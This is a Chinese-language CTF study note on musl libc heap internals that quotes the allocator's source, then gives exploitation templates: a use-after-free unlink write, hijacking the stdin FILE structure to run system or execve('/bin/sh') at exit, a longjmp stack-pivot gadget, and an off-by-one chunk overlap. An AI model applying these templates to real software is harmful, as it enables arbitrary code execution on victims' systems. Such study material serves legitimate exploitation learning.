Musl从0开始

一、1.2.0及以前版本

1.数据结构

(1)chunk结构

1
2
3
4
5
//v1.2.0 定义在src/internal/malloc_impl.h中
struct chunk {
size_t psize, csize; // 相当于 glibc 的 prev size 和 size
struct chunk *next, *prev;
};

①不重用psize字段

②psize和size都有inuse标志位,分别代表前一个chunk和当前chunk的使用状态。

(2)堆管理结构mal

类似于arena,记录堆中的相关状态,bins结构体等

1
2
3
4
5
6
//v1.2.0  定义在src/malloc/malloc.c中
static struct {
volatile uint64_t binmap; //64位无符号整数binmap
struct bin bins[64];
volatile int free_lock[2];
} mal;

(3)bitmap:

binmap记录每个 bin 是否为非空,若对应某个比特位为 1,则表示对应的 bin 为非空,存在chunk

在unbin函数操作过程中,如果操作的chunk(C)的prev和next指针相等,就会将对应的bin的bitmap设置为0,使其处于置空的状态。

(4)bins

1
2
3
4
5
6
//v1.2.0 定义在src/internal/malloc_impl.h中
struct bin {
volatile int lock[2];
struct chunk *head;
struct chunk *tail;
};

构成类似unsortedbin的双向循环链表,当链表为空时,headtail指针等于 0 或者指向链表头部自身。

每个bin存储的chunk范围如下

bin 下标 i chunk 大小个数 chunk 大小范围 下标 i 与 chunk 大小范围的关系
0-31 1 0x20 – 0x400 (i+1) * 0x20
32-35 8 0x420 – 0x800 (0x420+(i-32) 0x100) ~ (0x500+(i-32) 0x100)
36-39 16 0x820 – 0x1000 (0x820+(i-36) 0x200) ~ (0x1000+(i-36) 0x200)
40-43 32 0x1020 – 0x2000 (0x1020+(i-40) 0x400) ~ (0x1400+(i-40) 0x400)
44-47 64 0x2020 – 0x4000 (0x2020+(i-44) 0x800) ~ (0x2800+(i-44) 0x800)
48-51 128 0x4020 – 0x8000 (0x4020+(i-48) 0x1000) ~ (0x5000+(i-48) 0x1000)
52-55 256 0x8020 – 0x10000 (0x8020+(i-52) 0x2000) ~ (0xa000+(i-52) 0x2000)
56-59 512 0x10020 – 0x20000 (0x10020+(i-56) 0x4000) ~ (0x14000+(i-56) 0x4000)
60-62 1024 0x20020 – 0x38000 (0x20020+(i-60) 0x8000) ~ (0x28000+(i-60) 0x8000)
63 无限 0x38000 以上 0x38000 ~

前 32 个 bin 类似 fastbin和smallbin,每个 bin 只对应一种大小的 chunk,但是也是双向循环链表,第一个释放到bins中的chunk都会使得next和prev指针带上libc地址。

后面的则类似largebin,对应多种范围大小的chunk。

2.维护方式

在 64 位系统下 chunk 大小是以 32 字节对齐的,这与 glibc 16 字节对齐不同,故 chunk 大小最小为 0x20 字节,然后按 0x40、0x60、0x80… 逐渐递增,不共用psize位,所以每次都会将申请的size+0x10。

1
2
3
4
5
malloc(0x10)->0x20
malloc(0x11)->0x40
malloc(0x2f)->0x40
malloc(0x30)->0x40
malloc(0x31)->0x60

维护链表的方式是 FILO(从链表首部取出 chunk,从尾部插入 chunk),并且都是双向循环链表

没有实现如__malloc_hook__free_hook之类的 hook 函数

3.关键函数

(1)mallco

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
//v1.2.0  src/malloc/malloc.c中
void *malloc(size_t n)
{
struct chunk *c;
int i, j;

//调整n大小,对齐0x20
if (adjust_size(&n) < 0) return 0;

//如果n大于MMAP_THRESHOLD (0x38000),使用 mmap
if (n > MMAP_THRESHOLD) {
size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE;
char *base = __mmap(0, len, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (base == (void *)-1) return 0;
c = (void *)(base + SIZE_ALIGN - OVERHEAD);
c->csize = len - (SIZE_ALIGN - OVERHEAD);
c->psize = SIZE_ALIGN - OVERHEAD;
return CHUNK_TO_MEM(c);
}

//计算对应的binmap下标i
i = bin_index_up(n);
for (;;) {
//查找binmap
uint64_t mask = mal.binmap & -(1ULL<<i);

//如果bin均为空,那么调用expand_heap函数延展堆空间,生成新的chunk返回
if (!mask) {
c = expand_heap(n);
if (!c) return 0;
if (alloc_rev(c)) {
struct chunk *x = c;
c = PREV_CHUNK(c);
NEXT_CHUNK(x)->psize = c->csize =
x->csize + CHUNK_SIZE(c);
}
break;
}

//获取大小最接近n(size)的可用bin下标j
j = first_set(mask);
lock_bin(j);
c = mal.bins[j].head;
//BIN_TO_CHUNK不知道什么函数
if (c != BIN_TO_CHUNK(j)) {、
//使用 pretrim判断c的大小和需求的size(n),相差太大就切割
//否则使用 unlock从链表中取出
if (!pretrim(c, n, i, j)) unbin(c, j);
unlock_bin(j);
break;
}
unlock_bin(j);
}

/* Now patch up in case we over-allocated */
//切割之后回收 c 中大小超过 n 的部分
trim(c, n);

return CHUNK_TO_MEM(c);
}

详细步骤:

  • 调整 n,对齐0x20

  • 如果 n > MMAP_THRESHOLD (0x38000),使用 mmap 创建一块大小为 n 的内存,返回给用户。

  • 如果 n <= MMAP_THRESHOLD (0x38000),计算 n 对应的 bin 下标 i,查找 binmap

    • 如果所有的可用 bin 均为空,调用expand_heap函数延展堆空间,生成一个新的 chunk返回

    • 如果存在非空的可用 bin,选择大小最接近 n 的 bins[j],得到 bin 链表首部的 chunk c
      如果符合 pretrim 条件,使用 pretrim 分割 c,否则使用 unbin 从链表中取出 c,最后将分割剩下的chunk进入trim函数回收,将c返回给用户。

至于那个unlock_bin好像是同步用的,应该是多线程防止竞争读写吧,不太懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//v1.2.0  src/malloc/malloc.c中
/* Synchronization tools */

static inline void lock(volatile int *lk)
{
if (libc.threads_minus_1)
while(a_swap(lk, 1)) __wait(lk, lk+1, 1, 1);
}

static inline void unlock(volatile int *lk)
{
if (lk[0]) {
a_store(lk, 0);
if (lk[1]) __wake(lk, 1, 1);
}
}

static inline void lock_bin(int i)
{
lock(mal.bins[i].lock);
if (!mal.bins[i].head)
mal.bins[i].head = mal.bins[i].tail = BIN_TO_CHUNK(i);
}

static inline void unlock_bin(int i)
{
unlock(mal.bins[i].lock);
}

①unbin

类似于unlink的解链操作,无任何检测

1
2
3
4
5
6
7
8
9
10
11
12
//v1.2.0  src/malloc/malloc.c中
static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
//解链
c->prev->next = c->next;
c->next->prev = c->prev;
//设置 INUSE 标志位,双重标志位都会设置
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}

②pretrim

切割chunk,需要满足一定条件才会进行切割操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//v1.2.0  src/malloc/malloc.c中
/* pretrim - trims a chunk _prior_ to removing it from its bin.
* Must be called with i as the ideal bin for size n, j the bin
* for the _free_ chunk self, and bin j locked. */
static int pretrim(struct chunk *self, size_t n, int i, int j)
{
size_t n1;
struct chunk *next, *split;

/* We cannot pretrim if it would require re-binning. */
if (j < 40) return 0;// 条件 1:j(大小最接近size的可用bin下标)大于 40

// 条件 2: j(大小最接近size的可用bin下标)与i(计算出来的bin下标)相隔 3 个 bin 或以上,
// 或者j(大小最接近size的可用bin下标)等于63且size相差大于 MMAP_THRESHOLD(0x38000)
if (j < i+3) {
if (j != 63) return 0;
n1 = CHUNK_SIZE(self);
if (n1-n <= MMAP_THRESHOLD) return 0;
} else {
n1 = CHUNK_SIZE(self);
}

//条件3: size相差的数值属于bins[j]的范围内,即split与self属于同一个bin
if (bin_index(n1-n) != j) return 0;

//切割出一块大小为n的chunk用来返回
next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);

split->prev = self->prev;
split->next = self->next;
split->prev->next = split;
split->next->prev = split;
split->psize = n | C_INUSE;
split->csize = n1-n;
next->psize = n1-n;
self->csize = n | C_INUSE;
return 1;
}

取个名字好听点:

J:search_bin_idx

I:calc_bin_idx

n:need_size

总的条件如下:

  • search_bin_idx大于 40

  • search_bin_idxcalc_bin_idx相隔 3 个 bin 或以上,或者search_bin_idx等于63且bins[search_bin_idx].head->size - need_size > MMAP_THRESHOLD(0x38000)

  • bins[search_bin_idx].head->size - need_size的值在bins[search_bin_idx]

即在将Chunk拿出bin之前,先进行切割赋值,设置对应的指针,然后才解链,chunk还是从bin中找到的chunk,之后在unbin中进行inuse位的修改。

③trim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//v1.2.0  src/malloc/malloc.c中
static void trim(struct chunk *self, size_t n)
{
size_t n1 = CHUNK_SIZE(self);
struct chunk *next, *split;

//类似于unsortebin中如果多出来的size小于0x10,那就直接返回给用户一样
//DONTCARE(0x10),也就是确保回收的chunk的size至少为0x10,chunk至少0x20对齐
if (n >= n1 - DONTCARE) return;

next = NEXT_CHUNK(self);
split = (void *)((char *)self + n);

split->psize = n | C_INUSE;
split->csize = n1-n | C_INUSE;
next->psize = n1-n | C_INUSE;
self->csize = n | C_INUSE;

// 将多余的chunk释放到 bin
__bin_chunk(split);
}

(2)free

这个比较简单,如果csize没有设置标志位,就有两种可能,要么是double free,要么是mmap出来的chunk。所以进入unmap_chunk函数仔细判断,否则就是设置了标志位,正常进入__bin_chunk函数进行释放。

1
2
3
4
5
6
7
8
9
10
11
12
////v1.2.0  src/malloc/malloc.c中
void free(void *p)
{
if (!p) return;

struct chunk *self = MEM_TO_CHUNK(p);
//判断csize是否设置了标志位
if (IS_MMAPPED(self))
unmap_chunk(self);//检测psize字段
else
__bin_chunk(self);//正常释放
}

①unmap_chunk

1
2
3
4
5
6
7
8
9
10
11
12
////v1.2.0  src/malloc/malloc.c中
static void unmap_chunk(struct chunk *self)
{
size_t extra = self->psize;
char *base = (char *)self - extra;
size_t len = CHUNK_SIZE(self) + extra;
/* Crash on double free */
//如果psize字段设置inuse位,直接crash
if (extra & 1) a_crash();
//否则作为mmap chunk进入释放函数
__munmap(base, len);
}

②__bin_chunk

正常的释放函数,首先合并 chunk 前后的空闲 chunk、设置 binmap 和 chunk 标志位,最后将 chunk 插入到对应的 bin 链表中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
////v1.2.0  src/malloc/malloc.c中
void __bin_chunk(struct chunk *self)
{
struct chunk *next = NEXT_CHUNK(self);
size_t final_size, new_size, size;
int reclaim=0;
int i;


final_size = new_size = CHUNK_SIZE(self);

/* Crash on corrupted footer (likely from buffer overflow) */
//若下一个 chunk 的 psize 不等于 self 的 csize,则 crash
//相当于检测pre_size和size
if (next->psize != self->csize) a_crash();


//检测该chunk的前后是否处于空闲状态
for (;;) {
//对于上一个chunk,检测当前chunk的psize位
//对于下一个chunk,检测下一个chunk的csize位
if (self->psize & next->csize & C_INUSE) {
//前后处于use状态,那么对当前chunk进行释放即可
//清除当前chunk的inuse位,下一个chunk的psize位
self->csize = final_size | C_INUSE;
next->psize = final_size | C_INUSE;
i = bin_index(final_size);
lock_bin(i);
lock(mal.free_lock);
//退出循环检测
if (self->psize & next->csize & C_INUSE)
break;
unlock(mal.free_lock);
unlock_bin(i);
}

//向上合并空闲的chunk
if (alloc_rev(self)) {
self = PREV_CHUNK(self);
size = CHUNK_SIZE(self);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
}

//向下合并空闲的chunk
if (alloc_fwd(next)) {
size = CHUNK_SIZE(next);
final_size += size;
if (new_size+size > RECLAIM && (new_size+size^size) > size)
reclaim = 1;
next = NEXT_CHUNK(next);
}
}

//设置对应binmap的标志位,bins[i]
if (!(mal.binmap & 1ULL<<i))
a_or_64(&mal.binmap, 1ULL<<i);

self->csize = final_size;
next->psize = final_size;
unlock(mal.free_lock);

//将当前chunk放到bins[i]的尾部,FILO的形式
self->next = BIN_TO_CHUNK(i);
self->prev = mal.bins[i].tail;
self->next->prev = self;
self->prev->next = self;

/* Replace middle of large chunks with fresh zero pages */
if (reclaim) {
uintptr_t a = (uintptr_t)self + SIZE_ALIGN+PAGE_SIZE-1 & -PAGE_SIZE;
uintptr_t b = (uintptr_t)next - SIZE_ALIGN & -PAGE_SIZE;
#if 1
__madvise((void *)a, b-a, MADV_DONTNEED);
#else
__mmap((void *)a, b-a, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
#endif
}

unlock_bin(i);
}

4.静态堆内存

在Libc初始化时,如下

1
2
3
4
5
6
7
8
9
void __dls3(size_t *sp)
{
[...]
// ldso/dynlink.c L1839-L1840
/* Donate unused parts of app and library mapping to malloc */
reclaim_gaps(&app);
reclaim_gaps(&ldso);
[...]
}

会调用reclaim_gaps函数查找程序和 libc 库的空闲内存,通常是位于Data段上,该函数中会调用__malloc_donate函数将空闲内存释放到 bin中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// ldso/dynlink.c L526-L552
/* A huge hack: to make up for the wastefulness of shared libraries
* needing at least a page of dirty memory even if they have no global
* data, we reclaim the gaps at the beginning and end of writable maps
* and "donate" them to the heap. */

static void reclaim(struct dso *dso, size_t start, size_t end)
{
// 避开 RELRO 段
if (start >= dso->relro_start && start < dso->relro_end) start = dso->relro_end;
if (end >= dso->relro_start && end < dso->relro_end) end = dso->relro_start;
if (start >= end) return;
char *base = laddr_pg(dso, start);
// 使用 __malloc_donate 函数将内存释放到 bin 中
__malloc_donate(base, base+(end-start));
}

static void reclaim_gaps(struct dso *dso)
{
Phdr *ph = dso->phdr;
size_t phcnt = dso->phnum;

// 遍历每一个段
for (; phcnt--; ph=(void *)((char *)ph+dso->phentsize)) {
// 条件 1:段不属于可加载段(PT_LOAD)
if (ph->p_type!=PT_LOAD) continue;
// 条件 2:段可读可写
if ((ph->p_flags&(PF_R|PF_W))!=(PF_R|PF_W)) continue;
// 在段所属的内存页中,将段前后的空闲内存传递给 reclaim 函数
reclaim(dso, ph->p_vaddr & -PAGE_SIZE, ph->p_vaddr);
reclaim(dso, ph->p_vaddr+ph->p_memsz,
ph->p_vaddr+ph->p_memsz+PAGE_SIZE-1 & -PAGE_SIZE);
}
}

初始化结束后,在bins中会多出几个chunk

image-20220217112724849

不一定是三个chunk,多少个都有可能,主要看程序或者libc中是否存在空闲的内存。之后再进行堆内存分配时,就会在这个基础上进行分配,而非在所有bins都是空的状态进行分配。

5.利用方式

(1)泄露地址

①基于静态堆内存

那么基于静态堆内存的存在,由于最开始进行分配是在存在静态堆内存的情况下分配的,所以如果申请的chunk的size依据申请规则可以对静态堆内存进行切割,那么就会进行切割,由于是切割的chunk,那么此时返回的chunk的就会自然而然带上地址。

同样的,当碰上静态堆内存初始化之后,在一个bins中同时存在程序中的chunk和libc中的chunk时,我们将该chunk切割或者申请出来,就可以同时泄露Libc地址和程序ELF地址了。

②基于bins

前面提到,释放到bins中head指针下chunk必然会带上libc地址,那么直接申请回来就可以进行Libc地址的泄露

(2)getshell

①UAF

方法一:

这种情况可以直接通过改掉位于bin中head头部chunk的next和prev指针,然后从该bin中申请chunk,通过unbin函数中的如下操作即可进行任意地址任意写,其中的c也就是bin中的head指向的chunk。

1
2
c->prev->next = c->next;
c->next->prev = c->prev;

相关的exp模板如下

1
2
3
4
5
6
7
8
bins_a0h_addr = libc_base + 0x292b28
stdin_addr = libc_base + 0x292200
add_malloc(0x1000)
free(0)
edit(0,0x10,p64(bins_a0h_addr-0x10)+p64(stdin_addr-0x10))
add_malloc(0x1000)
edit(0,0x10,p64(stdin_addr-0x10)+p64(bins_a0h_addr-0x10))
add_malloc(0x1000)

可以连续用两次也没啥问题,由于我们劫持了这个改写指针的操作,所以在相对于的bin结构中的head和tail指针并没有改变,所以仍然可以使用。

用两次的原因是需要在stdin->prevstdin->next都写下一个可写地址,这样之后再从对应bin的head中申请出来时,经过unbin函数中的指针赋值操作不会出错,否则就会出现不可写或者零地址取值操作导致失败。

以上操作结束后就可以看到在bins[4],也是0xa0大小对应的bin中的head指针已经被我们修改为stdin_addr-0x10,同时对应的stdin结构体的prev和next指针也是可写地址

image-20220217185755489

之后从中bins[4]中申请chunk即可申请出stdin结构体,之后对应修改所需数据即可

1
2
3
4
f->wpos != f->wbase
f->flag = "/bin/shx00"
f->write = system
f->lock=0

相应exp模板如下

1
2
3
add_malloc(0xa0-0x20)
edit(3,0x50+0x50,"/bin/sh\x00"+p64(0)*4+p64(0x1)+p64(0x0)+p64(0x2)+p64(0x0)+p64(system_addr) + \
p64(0x0)*8)

最后调用exit()函数即可,调用链为exit()->__stdio_exit_needed()(//或者是__stdio_exit)->close_file(__stdin_used)->f->write(f, 0, 0);这里的f即是传入的stdin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// src/stdio/__stdio_exit.c
static void close_file(FILE *f)
{
if (!f) return;
FFINALLOCK(f);
if (f->wpos != f->wbase) f->write(f, 0, 0);
if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f);
close_file(__stdin_used);
close_file(__stdout_used);
close_file(__stderr_used);
}

不过由于FFINALLOCK(f);的存在,如果进入这个函数不知道为什么会崩溃,也可能是某些设置上的问题吗?所以为了不进入这个函数,那么需要将f->lock置零即可

image-20220217183236401

最后即可调用f->write,即劫持的system函数,rdi为stdin结构体,来getshell

最终小模板如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bins_a0h_addr = libc_base + 0x292b28
stdin_addr = libc_base + 0x292200
add_malloc(0x1000)
add_malloc(0xa0-0x20)
add_malloc(0xa0-0x20)
free(1)
free(0)
dbg()
edit(0,0x10,p64(bins_a0h_addr-0x10)+p64(stdin_addr-0x10))
add_malloc(0x1000)
edit(0,0x10,p64(stdin_addr-0x10)+p64(bins_a0h_addr-0x10))
add_malloc(0x1000)
#dbg()
add_malloc(0xa0-0x20)
#pause()
edit(5,0x50+0x50,"/bin/sh\x00"+p64(0)*4+p64(0x1)+p64(0x0)+p64(0x2)+p64(0x0)+p64(system_addr) + \
p64(0x0)*8)
#dbg()
exit()
p.interactive()
方法二:

这个相对方法一就简单很多,只需要一个任意地址写即可,思路也是类似的。

观察上面的__stdio_exit函数,我们可以发现,其实它最后使用的是__stdin_used,而这个数据保存着stdin结构体指针,并且该数据位于libc上可读可写处,也就是说,我们可以尝试劫持__stdin_used下的stdin结构体指针到堆上,在堆上伪造我们的数据,从而在调用exit函数时从堆上取数据执行最终的命令。

1
2
3
4
5
6
7
8
9
10
11
execve_addr = libc_base + libc.sym['execve']
stdin_usedpoint_addr = libc_base + 0x292430
heap_addr = 0x555555759000
add_malloc(0x1000)
free(0)
edit(0,0x10,p64(stdin_usedpoint_addr-0x10-0x8)+p64(heap_addr+0x50))
add_malloc(0x1000)
edit(0,0x30+0x50+0x50,'\x00'*0x30+"/bin/sh\x00"+p64(0)*4+p64(0x1)+p64(0x0)+p64(0x2)+p64(0x0)+p64(execve_addr) + \
p64(0x0)*8)
exit()
p.interactive()

可以看到,在最后的执行命令处,rdi被成功更改为堆上的地址,并且也是对应寻找偏移找到了execve函数地址,更加简便了

image-20220217193622906

同时由于最后调用的f->write(f,0,0),其中rsi和rdx必定为0,所以推荐还是使用execve函数,防止system函数出现非预期的一些栈环境或者其他变化,导致无法getshell。

方法三:

同样的,如果是ORW,再进一步的话,是不是musl中也存在类似于setcontext之类可以甚至栈的gadget呢,其实是有的,在longjmp函数中,

1
2
3
4
5
//1.1.24的libc中
.text:0000000000048B96 mov rdx, [rdi+30h]
.text:0000000000048B9A mov rsp, rdx
.text:0000000000048B9D mov rdx, [rdi+38h]
.text:0000000000048BA1 jmp rdx

相对应在1.2.0以上版本中也是有类似的,也在longjmp函数中,那么我们就可以将__stdin_used劫持为堆地址,在堆上布置下我们的ORW来进行攻击

②off-by-one

一般在Musl环境下的堆题,基本不存在off-by-null的情况的,因为当前chunk的csize会和下一个chunk的psize进行比对,如果不等会crash。

1
2
3
4
//__bin_chunk函数中
//若下一个 chunk 的 psize 不等于 self 的 csize,则 crash
//相当于检测pre_size和size
if (next->psize != self->csize) a_crash();

而由于不重用psize字段,就算溢出一个零字节,也无法覆盖到csize字段,只能覆盖到pszie字段,所以当可以溢出一个任意字节时,我们就可以修改psize字段,向上进行堆块重叠合并。

1
2
3
4
5
6
7
add_malloc(0x40-0x10)
add_malloc(0x40-0x10)
add_malloc(0x40-0x10)
add_malloc(0x40-0x10)
edit(1,(0x40-0x10+0x1),'\x00'*(0x40-0x10)+p8(0x80))
free(0)
free(2)

这样chunk0和chunk1就会合并到一块进入bin中,制造chunk1的堆块重叠,但是由于函数机制问题,chunk2实际上是并没有被释放到bin中的。

未合并前如下:

image-20220218113100251

合并后如下:

image-20220218113620389

那么之后将chunk1释放,在将chunk0+chunk1申请回来,即可制造一个UAF了。

1
2
3
edit(1,(0x40-0x10+0x1),'\x00'*(0x40-0x10)+p8(0x41))
free(1)
add_malloc(0x80-0x10)

如下所示

image-20220218120440262

有了UAF之后就好办很多了,还是参考上述的UAF情况

二、1.2.1及之后版本

这个版本下的堆管理方式有了很大的变化,可以说和原来的都不是一个东西了。

参考

新版musl-libc malloc源码分析与调试 - 安全客,安全资讯平台 (anquanke.com)

从musl libc 1.1.24到1.2.2 学习pwn姿势 - 安全客,安全资讯平台 (anquanke.com)

musl-1.2.x堆部分源码分析 - 安全客,安全资讯平台 (anquanke.com)

1.数据结构

(1)chunk结构

在该版本之后,并没有像之前一样将chunk结构定义在代码里,所以我们只能自己来进行猜测,大致如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct chunk {
uint8_t res; // 保留,一直为\x00
uint8_t idx:5;
//低5bit作为idx表示这是group中第几个chunk, 高3bit作为reserved
//如果该chunk被free,则该字节被置为0xff,同时下面的offset被置为0
uint8_t reserved:3; // 不知道干啥的
uint16_t offset; //与第一个chunk的偏移
//如果为4则chunk_addr-0x40=first_chunk_addr
/*如果是group中的第一个chunk,那么还有如下数据
struct meta* meta;//指向管理该group的meta
unsigned char active_idx:5;//占据5bytes,表示该group中共有几个slot,也就是chunk
char pad[UNIT - sizeof(struct meta *) - 1];
*/
char user_data[]; // 最后一字节需要为\x00
char remain_data[]; // 剩余空间最后一字节需要为\x00
uint32_t remain_size; // chunk剩余size大小
};

如下图所示,chunk分布大概如下

image-20220318114135427

其中chunk1的idx即为该group中的第1个Chunk,为0x1

而这整片开辟的空间,包括未被分配的chunk,如下面的马赛克部分且一直向下延申到一定位置,连在一起叫做group

(2)group

也就是通过mmap开辟出来用来存放chunk的一片空间,定义如下

1
2
3
4
5
6
7
8
//1.2.1-src/malloc/mallocng/meta.h
struct group {
struct meta *meta;//即上图头部chunk0中的第一个指针地址
unsigned char active_idx:5;//占据5bytes
char pad[UNIT - sizeof(struct meta *) - 1];
unsigned char storage[];
//即从头部chunk0从0x41开始一直往下的部分,包括chunk1,chunk2..以及未被分配出去的Chunk
};

且group中存放的Chunk的size是在一个范围内,通过如下定义以及计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#define IB 4

const uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};

static inline int a_ctz_32(uint32_t x)
{
#ifdef a_clz_32
return 31-a_clz_32(x&-x);
#else
static const char debruijn32[32] = {
0, 1, 23, 2, 29, 24, 19, 3, 30, 27, 25, 11, 20, 8, 4, 13,
31, 22, 28, 18, 26, 10, 7, 12, 21, 17, 9, 6, 16, 5, 15, 14
};
return debruijn32[(x&-x)*0x076be629 >> 27];
#endif
}
static inline int a_clz_32(uint32_t x)
{
x >>= 1;
x |= x >> 1;
x |= x >> 2;
x |= x >> 4;
x |= x >> 8;
x |= x >> 16;
x++;
return 31-a_ctz_32(x);
}
static inline int size_to_class(size_t n)
{
n = (n+IB-1)>>4;
if (n<10) return n;
n++;
int i = (28-a_clz_32(n))*4 + 8;
if (n>size_classes[i+1]) i+=2;
if (n>size_classes[i]) i++;
return i;
}

相关汇总计算如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
0x0     ~ 0xc ->0
0xd ~ 0x1c ->1
0x1d ~ 0x2c ->2
0x2d ~ 0x3c ->3
0x3d ~ 0x4c ->4
0x4d ~ 0x5c ->5
0x5d ~ 0x6c ->6
0x6d ~ 0x7c ->7
0x7d ~ 0x8c ->8
0x8d ~ 0x9c ->9
0x9d ~ 0xbc ->10
0xbd ~ 0xec ->11
0xed ~ 0x11c ->12
0x11d ~ 0x13c ->13
0x13d ~ 0x18c ->14
0x18d ~ 0x1ec ->15
0x1ed ~ 0x23c ->16
0x23d ~ 0x29c ->17
0x29d ~ 0x31c ->18
0x31d ~ 0x3ec ->19
0x3ed ~ 0x47c ->20
0x47d ~ 0x53c ->21
0x53d ~ 0x65c ->22
0x65d ~ 0x7ec ->23
0x7ed ~ 0x91c ->24
0x91d ~ 0xa9c ->25
0xa9d ~ 0xcbc ->26
0xcbd ~ 0xfec ->27
0xfed ~ 0x123c ->28
0x123d ~ 0x153c ->29
0x153d ~ 0x198c ->30
0x198d ~ 0x1fec ->31
0x1fed ~ 0x247c ->32
0x247d ~ 0x2a9c ->33
0x2a9d ~ 0x331c ->34
0x331d ~ 0x3fec ->35
0x3fed ~ 0x490c ->36
0x490d ~ 0x553c ->37
0x553d ~ 0x664c ->38
0x664d ~ 0x7fec ->39
0x7fed ~ 0x923c ->40
0x923d ~ 0xaa9c ->41
0xaa9d ~ 0xccbc ->42
0xccbd ~ 0xffec ->43
0xffed ~ 0x1247c ->44
0x1247d ~ 0x1553c ->45
0x1553d ~ 0x1997c ->46

也就是说一个group中的chunk大小范围要么是0x0 ~ 0xc ,要么是0xd~ 0x1c,依次类推。且依据上述转换表,一个范围对应一个索引,该索引即用来寻找meta的索引。

(3)meta

而用来管理group的结构称为meta,一个meta对应一个group,而上面结构定义中的group中的meta指针即指向管理本group的meta,其定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//1.2.1-src/malloc/mallocng/meta.h
struct meta {
//存在多个meta,通过循环双向链表串联起来
//释放之后有用,没有释放的则指向本身
struct meta *prev, *next;
struct group *mem;//指向本meta管理的group

//freed_mask是当前meta的group中被free的chunk的bitmap, 4bytes
//avail_mask是当前meta的group中目前可用chunk的bitmap, 4bytes
//由于是4bytes,总共32bit,那么最多可有32个chunk
//这里很奇怪啊,直接0/1表示可用不可用呗,那要是某个chunk在这两个free和avail的bitmap
//中对应的bit都为1或都为0又怎么算呢
//这里好像被free的chunk其freed_mask对应的bit会马上被置为1
//但是avail_mask对应的bit却不会马上置1,暂时标记不可用状态
volatile int avail_mask, freed_mask;


uintptr_t last_idx:5;//group中最后一个chunk的idx索引 (5bit)
uintptr_t freeable:1;//表示当前meta是否可以被free(1:可以,0:不可以)(1bit)

//由于一个Group中的chunk的size在一个范围内,所以需要通过sizeclass来追踪计算size
uintptr_t sizeclass:6;//(6bit)

uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

(4)meta_area

顾名思义,这个结构就是用来管理meta的,相关定义如下

1
2
3
4
5
6
7
8
//1.2.1-src/malloc/mallocng/meta.h
struct meta_area
{
uint64_t chevck; //校验值
struct meta_area *next; //下一个分配区,即下一页(0x1000为一页)
int nslots; //总共多少个slots
struct meta slots[]; //从其中索引其下面的meta
};

分配meta时, 总是先分配一页的内存, 然后划分为多个等待分配的meta区域,meta_arena描述的就是一页内存的最开始部分。

(5)malloc_context

这个就相当于整个分配内存机制总管理的一个结构,类似于glibc中的main_arena相关定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//1.2.1-src/malloc/mallocng/meta.h
struct malloc_context
{
uint64_t secret;
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done; //有无完成初始化
unsigned mmap_counter; //mmap内存总数
struct meta *free_meta_head; //释放的meta组成的队列
struct meta *avail_meta; //指向可用meta对象
//可用meta计数、可用meta_area计数、不知道
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail; //分配区头尾指针
unsigned char *avail_meta_areas;
struct meta *active[48]; //活动的meta
size_t usage_by_class[48]; //这个大小级别使用了多少内存
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};

extern struct malloc_context ctx;

总的来说,数据结构大致如下所示

img

2.维护方式

使用freed_maskavail_mask来确定,如下图所示,在active[2](即size在0x1d~0x2c的chunk)中现在有

image-20220317141333259

我们将active[2]中avail_mask置1的chunk都申请出来之后,即代表这个group无法接着为我们的申请提供chunk的话,比如这里就是需要申请出chunk0~chunk9,然后再申请的话就会进行判断

